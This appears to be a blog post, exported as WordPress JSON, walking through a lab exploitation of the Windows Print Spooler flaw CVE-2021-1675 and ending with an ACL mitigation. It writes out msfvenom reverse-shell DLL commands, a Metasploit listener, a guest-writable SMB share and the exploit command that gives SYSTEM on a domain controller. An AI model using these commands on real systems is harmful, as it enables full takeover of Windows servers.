{"id":341,"date":"2021-07-10T01:30:00","date_gmt":"2021-07-10T01:30:00","guid":{"rendered":"https:\/\/tungle.ca\/?p=341"},"modified":"2021-12-28T05:54:39","modified_gmt":"2021-12-28T05:54:39","slug":"lab-demonstration-for-windows-print-spooler-0day-exploit-on-cve-2021-1675","status":"publish","type":"post","link":"https:\/\/tungle.ca\/?p=341","title":{"rendered":"Lab Demonstration for Windows Print Spooler 0day Exploit on CVE-2021-1675"},"content":{"rendered":"\n<p>References:<\/p>\n\n\n\n<p><a href=\"https:\/\/www.huntress.com\/blog\/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution\">https:\/\/www.huntress.com\/blog\/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution<\/a><\/p>\n\n\n\n<p>The exploit code<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/cube0x0\/CVE-2021-1675\/blob\/main\/CVE-2021-1675.py\">https:\/\/github.com\/cube0x0\/CVE-2021-1675\/blob\/main\/CVE-2021-1675.py<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><a>Step1: Setup the Lab<\/a><\/h1>\n\n\n\n<p>1 DC1 (dc1.cisalab.local) is running Windows 2016 with IP address is 10.0.0.77<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-215.png\" alt=\"\" class=\"wp-image-342\" width=\"543\" height=\"418\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-215.png 839w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-215-300x231.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-215-768x591.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-215-200x154.png 200w\" sizes=\"auto, (max-width: 543px) 100vw, 543px\" \/><\/figure>\n\n\n\n<p>Print Spooler service is running on the DC.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"426\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-216.png\" alt=\"\" class=\"wp-image-343\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-216.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-216-300x131.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-216-768x336.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-216-200x87.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>1 Kali Linux (AT) with IP address is 10.0.0.191.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"597\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-217.png\" alt=\"\" class=\"wp-image-344\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-217.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-217-300x184.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-217-768x470.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-217-200x122.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p> <a>Step 2: How to set up Kali<\/a><\/p>\n\n\n\n<p>Upgrade Python<\/p>\n\n\n\n<p>sudo apt-get update<\/p>\n\n\n\n<p>sudo apt-get upgrade<\/p>\n\n\n\n<p>sudo apt-get install python3-venv<\/p>\n\n\n\n<p>1. The best practice is to create Python virtual Environment<\/p>\n\n\n\n<p>python3 -m venv PrintNightmare<\/p>\n\n\n\n<p>source PrintNightmare\/bin\/activate<\/p>\n\n\n\n<p>2. clone the repo and install the custom Impacket version:<\/p>\n\n\n\n<p>git clone https:\/\/github.com\/cube0x0\/CVE-2021-1675.git<\/p>\n\n\n\n<p>git clone https:\/\/github.com\/cube0x0\/impacket<\/p>\n\n\n\n<p>cd impacket<\/p>\n\n\n\n<p>python3 .\/setup.py install<\/p>\n\n\n\n<p>3. Set up SMB share<\/p>\n\n\n\n<p>(Use this method to allow the Windows servers to download the malicious codes on AT machine)<\/p>\n\n\n\n<p>copy the original smb.conf file and create a backup file<\/p>\n\n\n\n<p>cp \/etc\/samba\/smb.conf \/etc\/samba\/smb.conf.bak<\/p>\n\n\n\n<p>now on the smb.conf change to this new configuration File<\/p>\n\n\n\n<p>[global]<\/p>\n\n\n\n<p>map to guest = Bad User<\/p>\n\n\n\n<p>server role = standalone server<\/p>\n\n\n\n<p>usershare allow guests = yes<\/p>\n\n\n\n<p>idmap config * : backend = tdb<\/p>\n\n\n\n<p>smb ports = 445 [smb]<\/p>\n\n\n\n<p>comment = Samba<\/p>\n\n\n\n<p>path = \/tmp\/<\/p>\n\n\n\n<p>guest ok = yes<\/p>\n\n\n\n<p>read only = no<\/p>\n\n\n\n<p>browsable = yes<\/p>\n\n\n\n<p>force user = nobody<\/p>\n\n\n\n<p>Spin up SMB share: impacket-smbserver smb \/tmp\/<\/p>\n\n\n\n<p>In case you have some problems with the SMB try to use build-in SMBD service<\/p>\n\n\n\n<p>service smbd start<\/p>\n\n\n\n<p>service smbd restart<\/p>\n\n\n\n<p>4. Payload Creation:<\/p>\n\n\n\n<p>Create Reverse shell Payload as a DLL <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -a x64 -p windows\/x64\/shell_reverse_tcp LHOST=&lt;YOUR AT IP&gt; LPORT=&lt;PORT TO LISTEN&gt; -f dll -o \/tmp\/rev.dll<\/code><\/pre>\n\n\n\n<p>AT creates a reverse shell connection with IP address is 10.0.0.191 (AT) and the destination port is 443. The shell code will be dropped on the Windows servers on \/tmp\/reverse.dll <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -f dll -p windows\/x64\/shell_reverse_tcp LHOST=10.0.0.191 LPORT=443 -o \/tmp\/reverse.dll<\/code><\/pre>\n\n\n\n<p>5. Set up a listener Use Metasploit tool to create a revere shell session (a listener)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"441\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-218.png\" alt=\"\" class=\"wp-image-345\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-218.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-218-300x136.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-218-768x347.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-218-200x90.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>msfconsole<\/p>\n\n\n\n<p>use multi\/handler<\/p>\n\n\n\n<p>set PAYLOAD windows\/x64\/shell_reverse_tcp<\/p>\n\n\n\n<p>set LHOST 10.0.0.191<\/p>\n\n\n\n<p>set LPORT 443 run<\/p>\n\n\n\n<p>6. Windows Environment:<\/p>\n\n\n\n<p>you need to create a dc with an active directory (cisalab.local) create a low privilege user (test\/123456)<\/p>\n\n\n\n<p>7. Download and run shellcode<\/p>\n\n\n\n<p>python3 CVE-2021-1675.py tle:123456@10.0.0.77 &#8216;\\\\10.0.0.191\\smb\\reverse.dll&#8217; <\/p>\n\n\n\n<p>AT will create a connection to Windows server (DC1 \u2013 10.0.0.77) with username\/password is tle\/123456. <\/p>\n\n\n\n<p>Then the malicious code will be downloaded and run from the AT machine (\\\\10.0.0.191\\smb\\reverse.dll). After that, if the shellcode works then a reverse shell connection from Windows server to AT machine.<\/p>\n\n\n\n<p><a>Step 3. Live Demonstration<\/a><\/p>\n\n\n\n<p>The shell code is running on the AT machine<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 CVE-2021-1675.py cisalab.local\/tle:123456@10.0.0.77 '\\\\10.0.0.191\\smb\\reverse.dll' <\/code><\/pre>\n\n\n\n<p>The malicious code is downloaded but it is blocked by Windows Defender on Windows servers<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"393\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-219.png\" alt=\"\" class=\"wp-image-346\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-219.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-219-300x121.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-219-768x310.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-219-200x81.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"590\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-223.png\" alt=\"\" class=\"wp-image-350\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-223.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-223-300x182.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-223-768x465.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-223-200x121.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>So, the shellcode cannot run on the Windows servers with Windows Defenders which is running.<\/p>\n\n\n\n<p>If Windows Defender is disabled.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"723\" height=\"505\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-224.png\" alt=\"\" class=\"wp-image-351\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-224.png 723w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-224-300x210.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-224-200x140.png 200w\" sizes=\"auto, (max-width: 723px) 100vw, 723px\" \/><\/figure>\n\n\n\n<p>Run the exploit code again.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"911\" height=\"706\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-225.png\" alt=\"\" class=\"wp-image-352\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-225.png 911w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-225-300x232.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-225-768x595.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-225-200x155.png 200w\" sizes=\"auto, (max-width: 911px) 100vw, 911px\" \/><\/figure>\n\n\n\n<p>We can see a reverse shell connection has been established on the Windows server (DC) and AT machine. The connection seems to be an HTTPS connection, so it is hard to detect because of encryption.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"743\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-226.png\" alt=\"\" class=\"wp-image-353\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-226.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-226-300x229.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-226-768x585.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-226-200x152.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>The AT has a cmd shell with SYSTEM permission on the victim machine. That means the AT can do everything on it. Checking on Windows server (DC1), trojan code has been created on DC1 under x64 directory on \u201cC:\\Windows\\System32\\spool\\drivers\\\u201d. <\/p>\n\n\n\n<p>The shell code (reverse.dll) is successfully dropped on the folder named \u201c3\u201d. It may be a name when AT has created a reverse shell session.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"601\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-228.png\" alt=\"\" class=\"wp-image-355\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-228.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-228-300x185.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-228-768x473.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-228-200x123.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p><a>Step 4: PREVENTION when the print spooler service is still running<\/a><\/p>\n\n\n\n<p>Using PowerShell to create a ACL to prevent the malicious code to drop on the \u201cC:\\Windows\\System32\\spool\\drivers\\\u201d<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.truesec.com\/2021\/06\/30\/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available\/\">https:\/\/blog.truesec.com\/2021\/06\/30\/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available\/<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-229.png\" alt=\"\" class=\"wp-image-356\" width=\"550\" height=\"281\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-229.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-229-300x153.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-229-768x392.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-229-200x102.png 200w\" sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><\/figure>\n\n\n\n<p>Before applying the ACL.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"559\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-230.png\" alt=\"\" class=\"wp-image-357\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-230.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-230-300x172.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-230-768x440.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-230-200x115.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>After implementing the ACL.<\/p>\n\n\n\n<p>By restricting the ACLs on this directory (and subdirectories) we can prevent malicious DLLs to be introduced by the print spooler service. The exploit works by dropping a DLL in a subdirectory under C:\\Windows\\System32\\spool\\drivers.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"579\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-231.png\" alt=\"\" class=\"wp-image-358\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-231.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-231-300x178.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-231-768x456.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-231-200x119.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>Run the exploit code again.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"188\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-232.png\" alt=\"\" class=\"wp-image-359\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-232.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-232-300x58.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-232-768x148.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-232-200x39.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>The trojan code cannot put its files on the directory (\u201cRPRN SessionError: code: 0x3 &#8211; ERROR_PATH_NOT_FOUND &#8211; The system cannot find the path specified.\u201d).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"402\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-233.png\" alt=\"\" class=\"wp-image-360\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-233.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-233-300x124.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-233-768x317.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-233-200x82.png 200w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>There is no trojan code has put on the directory.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-234.png\" alt=\"\" class=\"wp-image-361\" width=\"514\" height=\"416\" srcset=\"https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-234.png 975w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-234-300x243.png 300w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-234-768x622.png 768w, https:\/\/tungle.ca\/wp-content\/uploads\/2021\/12\/image-234-200x162.png 200w\" sizes=\"auto, (max-width: 514px) 100vw, 514px\" \/><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>References: https:\/\/www.huntress.com\/blog\/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution The exploit code https:\/\/github.com\/cube0x0\/CVE-2021-1675\/blob\/main\/CVE-2021-1675.py Step1: Setup the Lab 1 DC1 (dc1.cisalab.local) is running Windows 2016 with IP address is 10.0.0.77 Print Spooler service is running on the DC. 1 Kali Linux (AT) with IP address is 10.0.0.191. Step 2: How to set up Kali Upgrade Python sudo apt-get update sudo apt-get upgrade sudo [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,11],"tags":[10,13],"class_list":["post-341","post","type-post","status-publish","format-standard","hentry","category-microsoft","category-security","tag-microsoft","tag-security"],"_links":{"self":[{"href":"https:\/\/tungle.ca\/index.php?rest_route=\/wp\/v2\/posts\/341","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tungle.ca\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tungle.ca\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tungle.ca\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tungle.ca\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=341"}],"version-history":[{"count":2,"href":"https:\/\/tungle.ca\/index.php?rest_route=\/wp\/v2\/posts\/341\/revisions"}],"predecessor-version":[{"id":363,"href":"https:\/\/tungle.ca\/index.php?rest_route=\/wp\/v2\/posts\/341\/revisions\/363"}],"wp:attachment":[{"href":"https:\/\/tungle.ca\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tungle.ca\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=341"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tungle.ca\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}